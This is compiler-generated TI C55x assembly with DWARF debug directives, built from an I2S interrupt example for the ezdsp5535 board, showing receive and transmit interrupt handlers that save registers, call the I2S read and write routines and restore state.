.global _i2sIntcWriteBuff
.bss _i2sIntcWriteBuff,4,0,0
$C$DW$41 .dwtag DW_TAG_variable, DW_AT_name("i2sIntcWriteBuff")
.dwattr $C$DW$41, DW_AT_TI_symbol_name("_i2sIntcWriteBuff")
.dwattr $C$DW$41, DW_AT_location[DW_OP_addr _i2sIntcWriteBuff]
.dwattr $C$DW$41, DW_AT_type(*$C$DW$T$102)
.dwattr $C$DW$41, DW_AT_external
.global _i2sIntcReadBuff
.bss _i2sIntcReadBuff,4,0,0
$C$DW$42 .dwtag DW_TAG_variable, DW_AT_name("i2sIntcReadBuff")
.dwattr $C$DW$42, DW_AT_TI_symbol_name("_i2sIntcReadBuff")
.dwattr $C$DW$42, DW_AT_location[DW_OP_addr _i2sIntcReadBuff]
.dwattr $C$DW$42, DW_AT_type(*$C$DW$T$102)
.dwattr $C$DW$42, DW_AT_external
.global _i2sHandle
.bss _i2sHandle,2,0,2
$C$DW$43 .dwtag DW_TAG_variable, DW_AT_name("i2sHandle")
.dwattr $C$DW$43, DW_AT_TI_symbol_name("_i2sHandle")
.dwattr $C$DW$43, DW_AT_location[DW_OP_addr _i2sHandle]
.dwattr $C$DW$43, DW_AT_type(*$C$DW$T$77)
.dwattr $C$DW$43, DW_AT_external
.global _writeCompete
.bss _writeCompete,1,0,0
$C$DW$44 .dwtag DW_TAG_variable, DW_AT_name("writeCompete")
.dwattr $C$DW$44, DW_AT_TI_symbol_name("_writeCompete")
.dwattr $C$DW$44, DW_AT_location[DW_OP_addr _writeCompete]
.dwattr $C$DW$44, DW_AT_type(*$C$DW$T$19)
.dwattr $C$DW$44, DW_AT_external
.global _readComplete
.bss _readComplete,1,0,0
$C$DW$45 .dwtag DW_TAG_variable, DW_AT_name("readComplete")
.dwattr $C$DW$45, DW_AT_TI_symbol_name("_readComplete")
.dwattr $C$DW$45, DW_AT_location[DW_OP_addr _readComplete]
.dwattr $C$DW$45, DW_AT_type(*$C$DW$T$19)
.dwattr $C$DW$45, DW_AT_external
.global _PaSs_StAtE
.bss _PaSs_StAtE,1,0,0
$C$DW$46 .dwtag DW_TAG_variable, DW_AT_name("PaSs_StAtE")
.dwattr $C$DW$46, DW_AT_TI_symbol_name("_PaSs_StAtE")
.dwattr $C$DW$46, DW_AT_location[DW_OP_addr _PaSs_StAtE]
.dwattr $C$DW$46, DW_AT_type(*$C$DW$T$99)
.dwattr $C$DW$46, DW_AT_external
.global _PaSs
.bss _PaSs,1,0,0
$C$DW$47 .dwtag DW_TAG_variable, DW_AT_name("PaSs")
.dwattr $C$DW$47, DW_AT_TI_symbol_name("_PaSs")
.dwattr $C$DW$47, DW_AT_location[DW_OP_addr _PaSs]
.dwattr $C$DW$47, DW_AT_type(*$C$DW$T$99)
.dwattr $C$DW$47, DW_AT_external
; F:\t\cc5p5\ccsv5\tools\compiler\c5500_4.4.1\bin\acp55.exe -@f:\\AppData\\Local\\Temp\\2706412
.sect ".text:retain"
.align 4
.global _i2s_rxIsr
$C$DW$48 .dwtag DW_TAG_subprogram, DW_AT_name("i2s_rxIsr")
.dwattr $C$DW$48, DW_AT_low_pc(_i2s_rxIsr)
.dwattr $C$DW$48, DW_AT_high_pc(0x00)
.dwattr $C$DW$48, DW_AT_TI_symbol_name("_i2s_rxIsr")
.dwattr $C$DW$48, DW_AT_external
.dwattr $C$DW$48, DW_AT_TI_begin_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c")
.dwattr $C$DW$48, DW_AT_TI_begin_line(0x57)
.dwattr $C$DW$48, DW_AT_TI_begin_column(0x10)
.dwattr $C$DW$48, DW_AT_TI_interrupt
.dwattr $C$DW$48, DW_AT_TI_max_frame_size(0x31)
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 88,column 1,is_stmt,address _i2s_rxIsr
.dwfde $C$DW$CIE, _i2s_rxIsr
;*******************************************************************************
;* INTERRUPT NAME: i2s_rxIsr *
;* *
;* Function Uses Regs : AC0,AC0,AC1,AC1,AC2,AC2,AC3,AC3,T0,T1,AR0,XAR0,AR1, *
;* XAR1,AR2,AR3,XAR3,AR4,SP,BKC,BK03,BK47,ST1,ST2,ST3, *
;* BRC0,RSA0,REA0,BRS1,BRC1,RSA1,REA1,CSR,RPTC,CDP,TRN0,*
;* TRN1,BSA01,BSA23,BSA45,BSA67,BSAC,M40,SATA,SATD,RDM, *
;* FRCT,SMUL *
;* Save On Entry Regs : AC0,AC0,AC1,AC1,AC2,AC2,AC3,AC3,T0,T1,AR0,AR1,AR2, *
;* AR3,AR4,BKC,BK03,BK47,BRC0,RSA0,REA0,BRS1,BRC1,RSA1, *
;* REA1,CSR,RPTC,CDP,TRN0,TRN1,BSA01,BSA23,BSA45,BSA67, *
;* BSAC *
;*******************************************************************************
_i2s_rxIsr:
.dwcfi cfa_offset, 3
.dwcfi save_reg_to_mem, 91, -3
AND #0xf91f, mmap(ST1_55)
OR #0x4100, mmap(ST1_55)
AND #0xfa00, mmap(ST2_55)
OR #0x8000, mmap(ST2_55)
PSH mmap(ST3_55)
.dwcfi cfa_offset, 4
.dwcfi save_reg_to_mem, 42, -4
PSH dbl(AC0)
.dwcfi cfa_offset, 5
.dwcfi save_reg_to_mem, 0, -5
.dwcfi cfa_offset, 6
.dwcfi save_reg_to_mem, 1, -6
PSH mmap(AC0G)
.dwcfi cfa_offset, 7
.dwcfi save_reg_to_mem, 2, -7
PSH dbl(AC1)
.dwcfi cfa_offset, 8
.dwcfi save_reg_to_mem, 3, -8
.dwcfi cfa_offset, 9
.dwcfi save_reg_to_mem, 4, -9
PSH mmap(AC1G)
.dwcfi cfa_offset, 10
.dwcfi save_reg_to_mem, 5, -10
PSH dbl(AC2)
.dwcfi cfa_offset, 11
.dwcfi save_reg_to_mem, 6, -11
.dwcfi cfa_offset, 12
.dwcfi save_reg_to_mem, 7, -12
PSH mmap(AC2G)
.dwcfi cfa_offset, 13
.dwcfi save_reg_to_mem, 8, -13
PSH dbl(AC3)
.dwcfi cfa_offset, 14
.dwcfi save_reg_to_mem, 9, -14
.dwcfi cfa_offset, 15
.dwcfi save_reg_to_mem, 10, -15
PSH mmap(AC3G)
.dwcfi cfa_offset, 16
.dwcfi save_reg_to_mem, 11, -16
PSH T0
.dwcfi cfa_offset, 17
.dwcfi save_reg_to_mem, 12, -17
PSH T1
.dwcfi cfa_offset, 18
.dwcfi save_reg_to_mem, 13, -18
PSHBOTH XAR0
.dwcfi cfa_offset, 19
.dwcfi save_reg_to_mem, 16, -19
PSHBOTH XAR1
.dwcfi cfa_offset, 20
.dwcfi save_reg_to_mem, 18, -20
PSHBOTH XAR2
.dwcfi cfa_offset, 21
.dwcfi save_reg_to_mem, 20, -21
PSHBOTH XAR3
.dwcfi cfa_offset, 22
.dwcfi save_reg_to_mem, 22, -22
PSHBOTH XAR4
.dwcfi cfa_offset, 23
.dwcfi save_reg_to_mem, 24, -23
PSH mmap(BKC)
.dwcfi cfa_offset, 24
.dwcfi save_reg_to_mem, 37, -24
PSH mmap(BK03)
.dwcfi cfa_offset, 25
.dwcfi save_reg_to_mem, 38, -25
PSH mmap(BK47)
.dwcfi cfa_offset, 26
.dwcfi save_reg_to_mem, 39, -26
PSH mmap(BRC0)
.dwcfi cfa_offset, 27
.dwcfi save_reg_to_mem, 47, -27
PSH mmap(RSA0L)
.dwcfi cfa_offset, 28
.dwcfi save_reg_to_mem, 48, -28
PSH mmap(RSA0H)
.dwcfi cfa_offset, 29
.dwcfi save_reg_to_mem, 49, -29
PSH mmap(REA0L)
.dwcfi cfa_offset, 30
.dwcfi save_reg_to_mem, 50, -30
PSH mmap(REA0H)
.dwcfi cfa_offset, 31
.dwcfi save_reg_to_mem, 51, -31
PSH mmap(BRS1)
.dwcfi cfa_offset, 32
.dwcfi save_reg_to_mem, 52, -32
PSH mmap(BRC1)
.dwcfi cfa_offset, 33
.dwcfi save_reg_to_mem, 53, -33
PSH mmap(RSA1L)
.dwcfi cfa_offset, 34
.dwcfi save_reg_to_mem, 54, -34
PSH mmap(RSA1H)
.dwcfi cfa_offset, 35
.dwcfi save_reg_to_mem, 55, -35
PSH mmap(REA1L)
.dwcfi cfa_offset, 36
.dwcfi save_reg_to_mem, 56, -36
PSH mmap(REA1H)
.dwcfi cfa_offset, 37
.dwcfi save_reg_to_mem, 57, -37
PSH mmap(CSR)
.dwcfi cfa_offset, 38
.dwcfi save_reg_to_mem, 58, -38
PSH mmap(RPTC)
.dwcfi cfa_offset, 39
.dwcfi save_reg_to_mem, 59, -39
PSHBOTH XCDP
.dwcfi cfa_offset, 40
.dwcfi save_reg_to_mem, 60, -40
PSH mmap(TRN0)
.dwcfi cfa_offset, 41
.dwcfi save_reg_to_mem, 62, -41
PSH mmap(TRN1)
.dwcfi cfa_offset, 42
.dwcfi save_reg_to_mem, 63, -42
PSH mmap(BSA01)
.dwcfi cfa_offset, 43
.dwcfi save_reg_to_mem, 64, -43
PSH mmap(BSA23)
.dwcfi cfa_offset, 44
.dwcfi save_reg_to_mem, 65, -44
PSH mmap(BSA45)
.dwcfi cfa_offset, 45
.dwcfi save_reg_to_mem, 66, -45
PSH mmap(BSA67)
.dwcfi cfa_offset, 46
.dwcfi save_reg_to_mem, 67, -46
PSH mmap(BSAC)
.dwcfi cfa_offset, 47
.dwcfi save_reg_to_mem, 68, -47
AMAR *SP(#0), XAR1
AND #0xfffe, mmap(SP)
PSH AR1
AADD #-3, SP
.dwcfi cfa_offset, 49
$C$DW$49 .dwtag DW_TAG_variable, DW_AT_name("result")
.dwattr $C$DW$49, DW_AT_TI_symbol_name("_result")
.dwattr $C$DW$49, DW_AT_type(*$C$DW$T$86)
.dwattr $C$DW$49, DW_AT_location[DW_OP_bregx 0x24 2]
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 91,column 2,is_stmt
BCLR ST3_SATA
BSET ST3_SMUL
$C$DW$50 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$50, DW_AT_low_pc(0x00)
.dwattr $C$DW$50, DW_AT_name("_IRQ_disable")
.dwattr $C$DW$50, DW_AT_TI_call
CALL #_IRQ_disable ; |91|
|| MOV #7, T0
; call occurs [#_IRQ_disable] ; |91|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 93,column 2,is_stmt
MOV dbl(*(#_i2sHandle)), XAR0
AMOV #_i2sIntcReadBuff, XAR1 ; |93|
$C$DW$51 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$51, DW_AT_low_pc(0x00)
.dwattr $C$DW$51, DW_AT_name("_I2S_read")
.dwattr $C$DW$51, DW_AT_TI_call
CALL #_I2S_read ; |93|
|| MOV #4, T0
; call occurs [#_I2S_read] ; |93|
MOV T0, *SP(#2) ; |93|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 94,column 2,is_stmt
MOV T0, AR1
BCC $C$L1,AR1 != #0 ; |94|
; branchcc occurs ; |94|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 96,column 3,is_stmt
AMOV #$C$FSL1, XAR3 ; |96|
MOV XAR3, dbl(*SP(#0))
$C$DW$52 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$52, DW_AT_low_pc(0x00)
.dwattr $C$DW$52, DW_AT_name("_printf")
.dwattr $C$DW$52, DW_AT_TI_call
CALL #_printf ; |96|
; call occurs [#_printf] ; |96|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 97,column 3,is_stmt
MOV #1, *(#_readComplete) ; |97|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 99,column 1,is_stmt
$C$L1:
AADD #3, SP
.dwcfi cfa_offset, 47
POP mmap(SP)
POP mmap(BSAC)
.dwcfi restore_reg, 68
.dwcfi cfa_offset, 46
POP mmap(BSA67)
.dwcfi restore_reg, 67
.dwcfi cfa_offset, 45
POP mmap(BSA45)
.dwcfi restore_reg, 66
.dwcfi cfa_offset, 44
POP mmap(BSA23)
.dwcfi restore_reg, 65
.dwcfi cfa_offset, 43
POP mmap(BSA01)
.dwcfi restore_reg, 64
.dwcfi cfa_offset, 42
POP mmap(TRN1)
.dwcfi restore_reg, 63
.dwcfi cfa_offset, 41
POP mmap(TRN0)
.dwcfi restore_reg, 62
.dwcfi cfa_offset, 40
POPBOTH XCDP
.dwcfi restore_reg, 60
.dwcfi cfa_offset, 39
POP mmap(RPTC)
.dwcfi restore_reg, 59
.dwcfi cfa_offset, 38
POP mmap(CSR)
.dwcfi restore_reg, 58
.dwcfi cfa_offset, 37
POP mmap(REA1H)
.dwcfi restore_reg, 57
.dwcfi cfa_offset, 36
POP mmap(REA1L)
.dwcfi restore_reg, 56
.dwcfi cfa_offset, 35
POP mmap(RSA1H)
.dwcfi restore_reg, 55
.dwcfi cfa_offset, 34
POP mmap(RSA1L)
.dwcfi restore_reg, 54
.dwcfi cfa_offset, 33
POP mmap(BRC1)
.dwcfi restore_reg, 53
.dwcfi cfa_offset, 32
POP mmap(BRS1)
.dwcfi restore_reg, 52
.dwcfi cfa_offset, 31
POP mmap(REA0H)
.dwcfi restore_reg, 51
.dwcfi cfa_offset, 30
POP mmap(REA0L)
.dwcfi restore_reg, 50
.dwcfi cfa_offset, 29
POP mmap(RSA0H)
.dwcfi restore_reg, 49
.dwcfi cfa_offset, 28
POP mmap(RSA0L)
.dwcfi restore_reg, 48
.dwcfi cfa_offset, 27
POP mmap(BRC0)
.dwcfi restore_reg, 47
.dwcfi cfa_offset, 26
POP mmap(BK47)
.dwcfi restore_reg, 39
.dwcfi cfa_offset, 25
POP mmap(BK03)
.dwcfi restore_reg, 38
.dwcfi cfa_offset, 24
POP mmap(BKC)
.dwcfi restore_reg, 37
.dwcfi cfa_offset, 23
POPBOTH XAR4
.dwcfi restore_reg, 24
.dwcfi cfa_offset, 22
POPBOTH XAR3
.dwcfi restore_reg, 22
.dwcfi cfa_offset, 21
POPBOTH XAR2
.dwcfi restore_reg, 20
.dwcfi cfa_offset, 20
POPBOTH XAR1
.dwcfi restore_reg, 18
.dwcfi cfa_offset, 19
POPBOTH XAR0
.dwcfi restore_reg, 16
.dwcfi cfa_offset, 18
POP T1
.dwcfi restore_reg, 13
.dwcfi cfa_offset, 17
POP T0
.dwcfi restore_reg, 12
.dwcfi cfa_offset, 16
POP mmap(AC3G)
.dwcfi restore_reg, 11
.dwcfi cfa_offset, 15
.dwcfi restore_reg, 10
.dwcfi cfa_offset, 14
POP dbl(AC3)
.dwcfi restore_reg, 9
.dwcfi cfa_offset, 13
POP mmap(AC2G)
.dwcfi restore_reg, 8
.dwcfi cfa_offset, 12
.dwcfi restore_reg, 7
.dwcfi cfa_offset, 11
POP dbl(AC2)
.dwcfi restore_reg, 6
.dwcfi cfa_offset, 10
POP mmap(AC1G)
.dwcfi restore_reg, 5
.dwcfi cfa_offset, 9
.dwcfi restore_reg, 4
.dwcfi cfa_offset, 8
POP dbl(AC1)
.dwcfi restore_reg, 3
.dwcfi cfa_offset, 7
POP mmap(AC0G)
.dwcfi restore_reg, 2
.dwcfi cfa_offset, 6
.dwcfi restore_reg, 1
.dwcfi cfa_offset, 5
POP dbl(AC0)
.dwcfi restore_reg, 0
.dwcfi cfa_offset, 4
POP mmap(ST3_55)
.dwcfi restore_reg, 43
.dwcfi cfa_offset, 3
$C$DW$53 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$53, DW_AT_low_pc(0x00)
.dwattr $C$DW$53, DW_AT_TI_return
RETI
; return occurs
.dwattr $C$DW$48, DW_AT_TI_end_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c")
.dwattr $C$DW$48, DW_AT_TI_end_line(0x63)
.dwattr $C$DW$48, DW_AT_TI_end_column(0x01)
.dwendentry
.dwendtag $C$DW$48
.sect ".text:retain"
.align 4
.global _i2s_txIsr
$C$DW$54 .dwtag DW_TAG_subprogram, DW_AT_name("i2s_txIsr")
.dwattr $C$DW$54, DW_AT_low_pc(_i2s_txIsr)
.dwattr $C$DW$54, DW_AT_high_pc(0x00)
.dwattr $C$DW$54, DW_AT_TI_symbol_name("_i2s_txIsr")
.dwattr $C$DW$54, DW_AT_external
.dwattr $C$DW$54, DW_AT_TI_begin_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c")
.dwattr $C$DW$54, DW_AT_TI_begin_line(0x6a)
.dwattr $C$DW$54, DW_AT_TI_begin_column(0x10)
.dwattr $C$DW$54, DW_AT_TI_interrupt
.dwattr $C$DW$54, DW_AT_TI_max_frame_size(0x31)
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 107,column 1,is_stmt,address _i2s_txIsr
.dwfde $C$DW$CIE, _i2s_txIsr
;*******************************************************************************
;* INTERRUPT NAME: i2s_txIsr *
;* *
;* Function Uses Regs : AC0,AC0,AC1,AC1,AC2,AC2,AC3,AC3,T0,T1,AR0,XAR0,AR1, *
;* XAR1,AR2,AR3,XAR3,AR4,SP,BKC,BK03,BK47,ST1,ST2,ST3, *
;* BRC0,RSA0,REA0,BRS1,BRC1,RSA1,REA1,CSR,RPTC,CDP,TRN0,*
;* TRN1,BSA01,BSA23,BSA45,BSA67,BSAC,M40,SATA,SATD,RDM, *
;* FRCT,SMUL *
;* Save On Entry Regs : AC0,AC0,AC1,AC1,AC2,AC2,AC3,AC3,T0,T1,AR0,AR1,AR2, *
;* AR3,AR4,BKC,BK03,BK47,BRC0,RSA0,REA0,BRS1,BRC1,RSA1, *
;* REA1,CSR,RPTC,CDP,TRN0,TRN1,BSA01,BSA23,BSA45,BSA67, *
;* BSAC *
;*******************************************************************************
_i2s_txIsr:
.dwcfi cfa_offset, 3
.dwcfi save_reg_to_mem, 91, -3
AND #0xf91f, mmap(ST1_55)
OR #0x4100, mmap(ST1_55)
AND #0xfa00, mmap(ST2_55)
OR #0x8000, mmap(ST2_55)
PSH mmap(ST3_55)
.dwcfi cfa_offset, 4
.dwcfi save_reg_to_mem, 42, -4
PSH dbl(AC0)
.dwcfi cfa_offset, 5
.dwcfi save_reg_to_mem, 0, -5
.dwcfi cfa_offset, 6
.dwcfi save_reg_to_mem, 1, -6
PSH mmap(AC0G)
.dwcfi cfa_offset, 7
.dwcfi save_reg_to_mem, 2, -7
PSH dbl(AC1)
.dwcfi cfa_offset, 8
.dwcfi save_reg_to_mem, 3, -8
.dwcfi cfa_offset, 9
.dwcfi save_reg_to_mem, 4, -9
PSH mmap(AC1G)
.dwcfi cfa_offset, 10
.dwcfi save_reg_to_mem, 5, -10
PSH dbl(AC2)
.dwcfi cfa_offset, 11
.dwcfi save_reg_to_mem, 6, -11
.dwcfi cfa_offset, 12
.dwcfi save_reg_to_mem, 7, -12
PSH mmap(AC2G)
.dwcfi cfa_offset, 13
.dwcfi save_reg_to_mem, 8, -13
PSH dbl(AC3)
.dwcfi cfa_offset, 14
.dwcfi save_reg_to_mem, 9, -14
.dwcfi cfa_offset, 15
.dwcfi save_reg_to_mem, 10, -15
PSH mmap(AC3G)
.dwcfi cfa_offset, 16
.dwcfi save_reg_to_mem, 11, -16
PSH T0
.dwcfi cfa_offset, 17
.dwcfi save_reg_to_mem, 12, -17
PSH T1
.dwcfi cfa_offset, 18
.dwcfi save_reg_to_mem, 13, -18
PSHBOTH XAR0
.dwcfi cfa_offset, 19
.dwcfi save_reg_to_mem, 16, -19
PSHBOTH XAR1
.dwcfi cfa_offset, 20
.dwcfi save_reg_to_mem, 18, -20
PSHBOTH XAR2
.dwcfi cfa_offset, 21
.dwcfi save_reg_to_mem, 20, -21
PSHBOTH XAR3
.dwcfi cfa_offset, 22
.dwcfi save_reg_to_mem, 22, -22
PSHBOTH XAR4
.dwcfi cfa_offset, 23
.dwcfi save_reg_to_mem, 24, -23
PSH mmap(BKC)
.dwcfi cfa_offset, 24
.dwcfi save_reg_to_mem, 37, -24
PSH mmap(BK03)
.dwcfi cfa_offset, 25
.dwcfi save_reg_to_mem, 38, -25
PSH mmap(BK47)
.dwcfi cfa_offset, 26
.dwcfi save_reg_to_mem, 39, -26
PSH mmap(BRC0)
.dwcfi cfa_offset, 27
.dwcfi save_reg_to_mem, 47, -27
PSH mmap(RSA0L)
.dwcfi cfa_offset, 28
.dwcfi save_reg_to_mem, 48, -28
PSH mmap(RSA0H)
.dwcfi cfa_offset, 29
.dwcfi save_reg_to_mem, 49, -29
PSH mmap(REA0L)
.dwcfi cfa_offset, 30
.dwcfi save_reg_to_mem, 50, -30
PSH mmap(REA0H)
.dwcfi cfa_offset, 31
.dwcfi save_reg_to_mem, 51, -31
PSH mmap(BRS1)
.dwcfi cfa_offset, 32
.dwcfi save_reg_to_mem, 52, -32
PSH mmap(BRC1)
.dwcfi cfa_offset, 33
.dwcfi save_reg_to_mem, 53, -33
PSH mmap(RSA1L)
.dwcfi cfa_offset, 34
.dwcfi save_reg_to_mem, 54, -34
PSH mmap(RSA1H)
.dwcfi cfa_offset, 35
.dwcfi save_reg_to_mem, 55, -35
PSH mmap(REA1L)
.dwcfi cfa_offset, 36
.dwcfi save_reg_to_mem, 56, -36
PSH mmap(REA1H)
.dwcfi cfa_offset, 37
.dwcfi save_reg_to_mem, 57, -37
PSH mmap(CSR)
.dwcfi cfa_offset, 38
.dwcfi save_reg_to_mem, 58, -38
PSH mmap(RPTC)
.dwcfi cfa_offset, 39
.dwcfi save_reg_to_mem, 59, -39
PSHBOTH XCDP
.dwcfi cfa_offset, 40
.dwcfi save_reg_to_mem, 60, -40
PSH mmap(TRN0)
.dwcfi cfa_offset, 41
.dwcfi save_reg_to_mem, 62, -41
PSH mmap(TRN1)
.dwcfi cfa_offset, 42
.dwcfi save_reg_to_mem, 63, -42
PSH mmap(BSA01)
.dwcfi cfa_offset, 43
.dwcfi save_reg_to_mem, 64, -43
PSH mmap(BSA23)
.dwcfi cfa_offset, 44
.dwcfi save_reg_to_mem, 65, -44
PSH mmap(BSA45)
.dwcfi cfa_offset, 45
.dwcfi save_reg_to_mem, 66, -45
PSH mmap(BSA67)
.dwcfi cfa_offset, 46
.dwcfi save_reg_to_mem, 67, -46
PSH mmap(BSAC)
.dwcfi cfa_offset, 47
.dwcfi save_reg_to_mem, 68, -47
AMAR *SP(#0), XAR1
AND #0xfffe, mmap(SP)
PSH AR1
AADD #-3, SP
.dwcfi cfa_offset, 49
$C$DW$55 .dwtag DW_TAG_variable, DW_AT_name("result")
.dwattr $C$DW$55, DW_AT_TI_symbol_name("_result")
.dwattr $C$DW$55, DW_AT_type(*$C$DW$T$86)
.dwattr $C$DW$55, DW_AT_location[DW_OP_bregx 0x24 2]
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 110,column 2,is_stmt
BCLR ST3_SATA
BSET ST3_SMUL
$C$DW$56 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$56, DW_AT_low_pc(0x00)
.dwattr $C$DW$56, DW_AT_name("_IRQ_disable")
.dwattr $C$DW$56, DW_AT_TI_call
CALL #_IRQ_disable ; |110|
|| MOV #5, T0
; call occurs [#_IRQ_disable] ; |110|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 113,column 2,is_stmt
MOV dbl(*(#_i2sHandle)), XAR0
AMOV #_i2sIntcWriteBuff, XAR1 ; |113|
$C$DW$57 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$57, DW_AT_low_pc(0x00)
.dwattr $C$DW$57, DW_AT_name("_I2S_write")
.dwattr $C$DW$57, DW_AT_TI_call
CALL #_I2S_write ; |113|
|| MOV #4, T0
; call occurs [#_I2S_write] ; |113|
MOV T0, *SP(#2) ; |113|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 114,column 2,is_stmt
MOV T0, AR1
BCC $C$L2,AR1 != #0 ; |114|
; branchcc occurs ; |114|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 116,column 3,is_stmt
AMOV #$C$FSL2, XAR3 ; |116|
MOV XAR3, dbl(*SP(#0))
$C$DW$58 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$58, DW_AT_low_pc(0x00)
.dwattr $C$DW$58, DW_AT_name("_printf")
.dwattr $C$DW$58, DW_AT_TI_call
CALL #_printf ; |116|
; call occurs [#_printf] ; |116|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 117,column 3,is_stmt
MOV #1, *(#_writeCompete) ; |117|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2s/CSL_I2S_INTCExample/CSL_I2S_IntcExample.c",line 119,column 1,is_stmt
$C$L2:
AADD #3, SP
.dwcfi cfa_offset, 47
POP mmap(SP)
POP mmap(BSAC)
.dwcfi restore_reg, 68
.dwcfi cfa_offset, 46
POP mmap(BSA67)
.dwcfi restore_reg, 67
.dwcfi cfa_offset, 45
POP mmap(BSA45)
.dwcfi restore_reg, 66
.dwcfi cfa_offset, 44
POP mmap(BSA23)
.dwcfi restore_reg, 65
.dwcfi cfa_offset, 43
POP mmap(BSA01)
.dwcfi restore_reg, 64
.dwcfi cfa_offset, 42
POP mmap(TRN1)
.dwcfi restore_reg, 63
.dwcfi cfa_offset, 41
POP mmap(TRN0)
.dwcfi restore_reg, 62
.dwcfi cfa_offset, 40
POPBOTH XCDP
.dwcfi restore_reg, 60
.dwcfi cfa_offset, 39
POP mmap(RPTC)
.dwcfi restore_reg, 59
.dwcfi cfa_offset, 38
POP mmap(CSR)
.dwcfi restore_reg, 58
.dwcfi cfa_offset, 37
POP mmap(REA1H)
.dwcfi restore_reg, 57
.dwcfi cfa_offset, 36
POP mmap(REA1L)
.dwcfi restore_reg, 56
.dwcfi cfa_offset, 35
POP mmap(RSA1H)
.dwcfi restore_reg, 55
.dwcfi cfa_offset, 34
POP mmap(RSA1L)
.dwcfi restore_reg, 54
.dwcfi cfa_offset, 33
POP mmap(BRC1)
.dwcfi restore_reg, 53
.dwcfi cfa_offset, 32
POP mmap(BRS1)
.dwcfi restore_reg, 52
.dwcfi cfa_offset, 31
POP mmap(REA0H)
.dwcfi restore_reg, 51
.dwcfi cfa_offset, 30
POP mmap(REA0L)
.dwcfi restore_reg, 50
.dwcfi cfa_offset, 29
POP mmap(RSA0H)
.dwcfi restore_reg, 49
.dwcfi cfa_offset, 28
POP mmap(RSA0L)
.dwcfi restore_reg, 48
.dwcfi cfa_offset, 27
POP mmap(BRC0)
.dwcfi restore_reg, 47
.dwcfi cfa_offset, 26
POP mmap(BK47)
.dwcfi restore_reg, 39
.dwcfi cfa_offset, 25
POP mmap(BK03)
.dwcfi restore_reg, 38
.dwcfi cfa_offset, 24
POP mmap(BKC)
.dwcfi restore_reg, 37
.dwcfi cfa_offset, 23
POPBOTH XAR4
.dwcfi restore_reg, 24
.dwcfi cfa_offset, 22
POPBOTH XAR3
.dwcfi restore_reg, 22
.dwcfi cfa_offset, 21
POPBOTH XAR2
.dwcfi restore_reg, 20
.dwcfi cfa_offset, 20
POPBOTH XAR1
.dwcfi restore_reg, 18
.dwcfi cfa_offset, 19
POPBOTH XAR0
.dwcfi restore_reg, 16
.dwcfi cfa_offset, 18
POP T1
.dwcfi restore_reg, 13
.dwcfi cfa_offset, 17
POP T0
.dwcfi restore_reg, 12
.dwcfi cfa_offset, 16
POP mmap(AC3G)
.dwcfi restore_reg, 11
.dwcfi cfa_offset, 15
.dwcfi restore_reg, 10
.dwcfi cfa_offset, 14
POP dbl(AC3)
.dwcfi restore_reg, 9
.dwcfi cfa_offset, 13
POP mmap(AC2G)
.dwcfi restore_reg, 8
.dwcfi cfa_offset, 12
.dwcfi restore_reg, 7
.dwcfi cfa_offset, 11
POP dbl(AC2)
.dwcfi restore_reg, 6
.dwcfi cfa_offset, 10
POP mmap(AC1G)
.dwcfi restore_reg, 5
.dwcfi cfa_offset, 9
.dwcfi restore_reg, 4
.dwcfi cfa_offset, 8
POP dbl(AC1)
.dwcfi restore_reg, 3
.dwcfi cfa_offset, 7
POP mmap(AC0G)
.dwcfi restore_reg, 2
.dwcfi cfa_offset, 6
.dwcfi restore_reg, 1
.dwcfi cfa_offset, 5
POP dbl(AC0)
.dwcfi restore_reg, 0
.dwcfi cfa_offset, 4
POP mmap(ST3_55)
